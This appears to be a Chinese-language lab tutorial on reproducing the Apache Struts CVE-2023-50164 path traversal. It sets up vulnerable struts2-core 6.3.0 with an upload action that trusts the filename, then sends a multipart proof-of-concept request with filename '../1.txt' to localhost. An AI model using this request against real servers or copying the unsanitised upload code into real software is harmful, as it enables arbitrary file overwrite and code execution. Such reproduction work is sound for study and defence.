从本质上讲,该漏洞允许攻击者利用 Apache Struts 文件上传系统中的缺陷。它允许他们操纵文件上传参数并执行路径遍历。这种利用可能会导致在服务器上执行任意代码,从而导致各种后果,例如未经授权的数据访问、系统受损,甚至完全控制受影响的系统,包括在系统中放置恶意文件。
仔细一看,CVE-2023-50164涉及Apache Struts的文件上传机制中的一个漏洞。对于非技术受众,想象一下这样一个场景:安全检查点(文件上传机制)由于漏洞而被绕过,从而允许未经授权的访问安全区域(服务器)。从技术角度来看,该漏洞在于 Apache Struts 在文件上传过程中如何处理名为 MultiPartRequestWrapper 的组件。攻击者可以操纵该进程实现路径遍历,从而覆盖任意文件,从而可能导致在服务器上执行任意代码、更改配置等。
POM.xml
文件中添加依赖项<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
然后新建一个类UploadAction
在UploadAction文件中添加以下代码
package com.example.demo;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
private File upload;
// 文件类型,为name属性值 + ContentType
private String uploadContentType;
// 文件名称,为name属性值 + FileName
private String uploadFileName;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = ServletActionContext.getServletContext().getRealPath("/")+"upload";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
然后在resources
文件夹下创建一个struts.xml
文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.example.demo.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>
需要注意的是<action name="upload" class="这里是要对应自己建立的类名一致.UploadAction" method="doUpload">
UploadAction不变
在打开WEB-INF
文件下的web.xml
文件将下面代码丢进去
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
</web-app>
然后运行服务大概就这么配置就可以了,如果运行不起来说明代码上或者依赖项是有问题的,在强制更新Maven记得需要保持网络通畅!我们继续把服务运行起来
POST /demo_war_exploded/upload.action HTTP/1.1
Host: localhost
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 188
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="../1.txt"
Content-Type: text/plain
1aaa
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
验证码的时候POC的Host和路径都是需要我们在IDEA配置的路径一致,要不然复现不成功。在test
文件的resources
新建一个HTTP请求
POC丢进去,记得Host要改成你自己配置的还要路径也是
成功复现 - 复现的漏洞上传文件可以根据截图找
参考:
https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/#%E7%8E%AF%E5%A2%83